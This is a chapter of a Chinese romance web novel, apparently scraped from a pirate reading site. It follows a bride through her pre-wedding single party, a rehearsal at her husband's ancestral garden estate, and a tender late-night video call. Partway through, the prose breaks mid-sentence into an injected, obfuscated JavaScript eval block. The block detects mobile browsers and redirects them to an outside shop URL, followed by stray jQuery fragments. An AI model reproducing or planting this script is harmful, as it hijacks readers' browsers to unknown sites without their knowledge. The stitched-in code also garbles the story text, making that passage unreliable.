文趣网 > 其他小说 > 未雨海棠[先婚后爱] > 44. 44.单身party和幸好是你……
    45.“那爱情的绮丽,总是在孤单里,再把我的最好的爱给你。”

    ——五月天《温柔》

    -

    后天就是婚礼。

    好在医院体恤,除了三天婚假,科里还额外开了恩,将她之前支援灾区积攒下的年假一并批了下来。

    东山墅,宋槿知提前过来帮她收拾行李,实则是姐妹谈心。

    宋棠絮物欲精简,并不挑剔,家里一套,观澜台一套,走到哪用到哪,倒是省立附近那套她住了多年的公寓,因为邵云旌,特意辟出了一间客房。

    里面不知不觉添置了他的睡衣、剃须刀,还有几套剪裁考究的备用西装。

    这段时间,两人一直靠着微信联系,不咸不淡。

    大多是邵云旌主动找她,发一些书房装修的照片,或是询问她值班累不累?宋棠絮工作忙,有时候手术连轴转顾不上回复,但也不需要解释。

    两人一问一答,像是一场默契的博弈。她不热络,不秒回,不冷场。

    那种口是心非的矛盾,像一根细刺扎进手心里,看不见,又痒又痛。

    宋棠絮站在衣帽间挑衣服,打算带两套回邵家,手机忽然在台面上震动起来。

    母亲和堂姐在旁边,她不能躲到一旁去接说悄悄话,索性直接点了外放。

    男人的声音透过听筒传了出来,像是陈年的单一麦芽威士忌滑过喉间,低沉醇厚,又混合着长途飞行后特有的微哑:“棠絮。”

    每一个音节裹挟着让人无法抗拒的引力,念她的名字。

    “我刚下了飞机,回市里是晚上。你有没有空,一起吃晚饭好不好?正好试试婚宴的菜色,合不合你的口味。”

    他总是这样。

    每次看似是征询,邀约,理由却让人拒绝不了,深谙谈判逻辑。

    旁边的宋槿知听着,一口香蕉差点噎在喉咙里,浑身的鸡皮疙瘩掉了一地。

    她谈了这么多段恋爱,从没听过哪个男人能用声音把“我想见你”说得如此理所当然。

    这还是她认识的云旌哥吗?!

    宋棠絮的耳根以肉眼可见的速度泛起粉:“好,那晚上见。”

    宋槿知是过来人,更何况旁观者清,她太清楚这些甜言蜜语的威力了。

    自从她当初任性闹出绯闻,害棠絮替嫁后,心里就一直揣着股罪恶感。

    宋槿知总想弥补,也怕棠絮受欺负,毕竟那可是邵云旌,虽然大家从小一起长大,但这么多年未见,成年后的世界那么复杂,人心隔肚皮。

    邵云旌的传奇和辉煌坊间盛传,有人说他逼人跳楼,手段狠戾,有人说他是商业巨子,运筹帷幄,哪怕有着童年的情分,也没人敢拍着胸脯说绝对了解他。

    他倨傲、冷漠,保持着绅士的体面,却在界限上泾渭分明。

    但这一次,宋槿知看出来,云旌哥好像认真的。

    换做是对待旁人,他也绝对不会是现在这种行事作风,好到无可挑剔。

    但一切前提是,得絮宝喜欢他才行。

    宋槿知忽然就有种自家白菜被猪拱了的心痛,云旌哥那跟蜂巢一样的八百个心眼子,棠絮怎么可能赢得了他?

    连恋爱都没正经谈过,就被拐着去偷偷领证了?!

    她越想越气,扯了扯嘴角,看妹妹手上还没挂断的手机上,故意拔高了音量:“婶婶,你说男人的花言巧语是不是都不能信啊?”

    “那老话怎么说来着?‘王宝钏挖野菜十八载,薛平贵西凉称王不思归’。这男人啊,啧啧啧~”

    宋棠絮偷笑,而电话那头沉默了一瞬。

    宋槿知不依不饶,继续对着空气输出:“物以类聚,人以群分,云旌哥你也少跟言毅那厮当兄弟……”

    “会变狗!”

    ……

    “没良心!”

    很少有人能在嘴皮子上赢宋槿知。

    向澜坐在一旁,看着一起长大的姐妹嬉笑打闹,眼底漾开笑意,藏着母亲独有的欣慰与纵容。

    亭亭如盖的木槿和海棠,既赏其花,也惜其叶。

    不过五分钟后,言毅的视频通话请求切入屏幕,方才还张牙舞爪的宋槿知,瞬间偃旗息鼓。

    “找我干嘛?”

    那嬉笑怒骂的宜喜宜嗔,此刻化作了眉梢眼角的春水,哪里还顾得上旁边还有人。

    还是邵云旌棋高一招,解铃还须系铃人。

    宋棠絮隐约听见阳台那边堂姐那变了调的嗓音,“谁要见你了?姑奶奶逍遥自在……”

    ……

    人果然是复杂的。

    明明对外刚刚否认恋情,可言语间的亲昵跟情侣无异,会关心对方,会在意对方的情绪波动,甚至还会隔空飞吻,各种宝宝宝贝。

    宋棠絮垂下眼帘,心里掠过一丝茫然。

    为什么身边每一个坠入爱河,都像是被夺舍了一般,嗓音自动切换成夹子音,言行举止判若两人?

    在名为“爱情”的潮汐面前,谁都变成一株随波逐流的藻类。

    可惜,她体会不到,那种能够让人忘却自我,心甘情愿交付软肋的眩晕感。

    她拿起地上的逗猫棒,在元宵面前晃了晃。

    猫咪慵懒地抬起眼皮,看了看她,又漫不经心地别过头去舔爪子。

    -

    婚礼一连排了三天。

    周四是婚前迎宾与彩排,周五为正日,仪式、正餐再加彻夜舞会,要从晨光未曦折腾到星子满天,周六则是更轻松的答谢宴。

    场地没选那些金碧辉煌的教堂和庄园,而是定在藏于栖山的邵家祖宅。

    飞檐翘角隐在苍翠古木之间,白墙黛瓦倒映在碧波之上,亭台楼阁,一步一景皆是中式园林的极致从容风雅。

    一大早,宋棠絮与宋槿知便先行抵达。

    “夫人,宋小姐。”管家率众在月洞门外迎候。

    两人沿着鹅卵石子路往里走,先去看了镜湖畔的鸡尾酒会场地。

    花艺布置以粉白芍药为主花,辅以香槟玫瑰与白色郁金香,都是一早空运来的,在晨雾中泛着柔润的光泽。

    乐队正在合奏彩排,四重古典弦乐奏鸣声悠扬婉转。

    饶是见多识广的宋槿知,此刻也忍不住惊讶,喃喃道:“不愧是云旌哥!”

    这儿岂止是尽心,简直就是无数女孩梦寐以求的草坪婚礼……有格调的浪漫奢华,才是真正的财力与地位的彰显。

    穿过一道曲折的廊桥,眼前豁然开朗,湖后的院落便是四时轩。

    这里是邵云旌从小到大的居所,因四季景致各异而得名:春有海棠胭脂醉,夏赏芙蕖映日红,秋揽金桂浮暗香,冬藏寒梅傲雪霜。

    正房门楣上已挂上了喜庆的红绸,门槛内正房与书房相连,一侧还设有独立的茶室。

    宋棠絮推门而入,宋槿知像个好奇宝宝,紧随其后参观。

    绕过屏风,入眼是一张用料讲究的雕花架子床时,宋槿知再也按捺不住,蹦了上去滚了一圈,长发铺散开来。

    “絮宝~”她趴在床沿,眼神促狭,“明晚就是你的洞房花烛夜哎!”

    她轻咳了一声,转过身去。

    晨光洒在她身上,衬得她愈发纤弱婀娜,一双清澈的琥珀眸自带江南烟雨的朦胧。

    宋棠絮去衣帽间换了身应景的旗袍,淡樱草色,色泽雅致,将她腰身勾勒得盈盈一握,裙摆上还有苏绣西府海棠。

    “姚窈和季晴她们应该快到了,”她拉起还在床上赖着的堂姐,认真道:“快去接她们,别让人家等。”

    “遵命!”

    -

    她伴娘团的阵容堪称庞大。

    除了姐姐宋槿知,还有同门师妹姚窈,以及她大学八年舍友兼死党“211夜袭猛男村”的——季晴、沈听雨、陆呦。

    此次来京,机酒全包,专车接送,大家早就兴奋不已,一见到宋棠絮,便叽叽喳喳地围了上来。

    “絮宝!我好想你……”

    “好久不见,臭丫头怎么又瘦了?”

    邵云旌一直陪在宋棠絮身边,上午只穿了一件质地极佳的白衬衫,搭配蓝宝石的袖扣,简单清爽。

    “你们好,我是邵云旌,棠絮的先生。”

    他爱屋及乌,面对这群闹腾的小姑娘,没有丝毫的不耐烦,反而在宋棠絮一一介绍时,他微微颔首,与每个人得体地握手,从容优雅。

    然而,表面一片祥和的同时。

    宋槿知早就拉好的“抢红包群”里,早已是一片腥风血雨,疯狂刷屏。

    想当狐狸精勾引boss:【啊啊啊!絮宝你没说你老公是这种极品啊!】

    骑老奶奶闯红灯:【白衬衫啊!这就是传说中的禁欲系天花板?】

    手术刀划开我的CP:【他还有兄弟吗?或者表弟也行啊!姐弟恋什么的我也不介意的~】

    ……

    邵云旌伸手替她将碎发别到耳后,亲昵嘱咐:“那你先招呼你闺蜜,我就在前厅,有事随时叫我。”

    她浅笑了一下:“好。”

    “哎呀——”

    宋槿知在一旁看得有些牙酸,忍不住揽起宋棠絮的手臂,半是调侃半是感慨:“云旌哥,你也别太爱我们家絮宝了好吗?”

    “再说这可是邵家的地盘,到处都是保镖和警卫员,你就放心,我们虽然想,但肯定不会拐她逃婚的。”

    邵云旌指了指她,示意秋后算账,就离开了。

    众人环顾四周,扫过那些在春风中摇曳的海棠花,在三月初本不该开得如此盛大。

    显然是有人费了心思,提前

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752311|204675||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    调控花期,甚至不惜成本从暖房移植至此。

    再看婚礼布置,处处透着匠心,显然不是市面上千篇一律的婚庆团队做出来的,他和邵家在用这种方式告诉所有人,重视这场婚礼,更重视她。

    不只是为了走个过场。

    他是真的把棠絮的欢喜和厌恶,放在了心尖上。

    莲风榭的花廊下,大家说说笑笑,眼前是湖中那一片片圆圆的睡莲叶。

    宋棠絮却有些出神,不知在想些什么。

    阳光透过叶片缝隙洒下来,在她脸上投下斑驳的光影,她下意识地伸出手去挡,肌肤皙白而清透。

    是婚前恐惧症吗?

    眼前的这一切,古宅、园林、婚礼、还有那个即将成为她丈夫的男人,都不该属于她。

    她只是沾了宋邵两家的光,这里是邵云旌的领地,繁花似锦,烈火烹油,他是金字塔尖的人中龙凤,可她又凭什么呢?

    自从和他重逢后,这种莫名其妙的“自卑”感就如影随形,常常跳出来作祟。

    宋棠絮不止一次想,如果只凭她自己,可能穷尽一生都无法走到他身旁,最多只是擦肩而过,父亲母亲用了十年时间,才让她在这个家里生出安全感和配得感。

    可是在他面前,她就原形毕露,自动退化成幼年那个寡言怪癖的小姑娘。

    直到这一秒,在满园春色与恭贺声中,她才彻底剖析清楚自己,暗恋一个人,是会夹杂各种复杂情绪。

    眼下梦想成真了,宋棠絮以为自己会哭,可奇怪的是,嘴角始终挂着一抹极淡的笑意,像是一杯温开水里化开的少许蜂蜜。

    从她撒谎进福利院那天开始,她就知道,眼泪只是一种宣泄,无用又惹人烦,想得到不能光靠天赐,得靠自己的双手和筹谋。

    她深吸一口气,振作起来,按照流程彩排明天的婚礼。

    夜色悄然降临。

    宋棠絮和伴娘们聚在一起,没有长辈参与,满座的菜色酸甜苦辣皆有。

    新人简短地致谢,氛围温馨不拘礼,谈天说地,仿佛回到了大学时代的寝室夜谈,虽然医生最忌饮酒,但今晚是个例外。

    “时间好快,没想到棠絮竟然是咱们当中第一个扯证的!”

    席间开了几瓶白葡萄酒,也有香槟和现调的鸡尾酒,已经喝大了的宋槿知说着娱乐圈八卦,季晴她们听得津津有味。

    宋棠絮端起一杯低酒精莫吉托,轻轻晃了晃杯子,冰块在清爽的液体中转圈,她眸色微凉。

    忽然想把自己灌醉。

    因为流传着新人婚前不宜见面的风俗,两人没有严格执行,但这一晚,各自在庄园两侧举办单身派对。

    宋棠絮这边相对安静,伴娘们看老电影打游戏,偶尔低头刷刷手机。

    临睡前,她手机跳出邵云旌的视频邀请,随即接通。

    镜头那端,比她这边喧闹得多,重金属与人声交织,觥筹交错,是男性特有的社交场。

    酒精在空气中发酵,迷醉着人的心智,也软化了某些清晰的边界。

    往日克制的旖旎,正悄然破土而出。

    “我以为你们那边的单身Party,会更疯狂放肆。”宋棠絮好奇,胆大的探究。

    邵云旌松了松领口,笑:“你以为会有什么?”

    “不都说婚姻是坟墓吗?”她半开玩笑,指尖划过杯壁,“最后的狂欢,不得有好酒、香车、美人,才不算辜负?”

    邵云旌低低地笑了起来,带着几分漫不经心的优雅:“那恐怕要让你失望了。刚刚借着酒劲,谈成好几单生意。”

    “这么拼命啊?”

    宋棠絮的语调软了下来,像是浸了桂花酿,夜色掩盖了琥珀色眸子里翻涌的炙热。

    两人又断断续续聊了几句,互道晚安后,宋棠絮刚要挂断,邵云旌却忽然叫住了她。

    他似乎犹豫了一瞬,“那天在省立,我下车追过去,你问为什么是你?我说只能是你,现在换我了。”

    “嗯?”

    邵云旌目光沉沉地锁住她,一字一句:“宋棠絮,和我结婚,你觉得是幸运吗?”

    他身体微微前倾,慵懒与优雅浑然天成,立体的五官在逆光中刀刻斧琢,分外有性张力。

    此时此刻,宋棠絮手中的莫吉托,融合了薄荷的清凉、柠檬的酸涩,在流行文化里,这种酒被称为“告白之酒”。

    代表着那些在理智与情感边缘试探,又无法宣之于口的秘密。

    宋棠絮闻言笑了,眼尾泛着淡淡的桃花色,她没有立即回答,仰头,将杯中剩余的酒液一饮而尽。

    液体和冰渣滑过喉咙,激得人轻轻战栗。

    他在屏息,他在期待。

    她声音很轻,却字字清晰,“邵云旌。”

    “幸好是你。”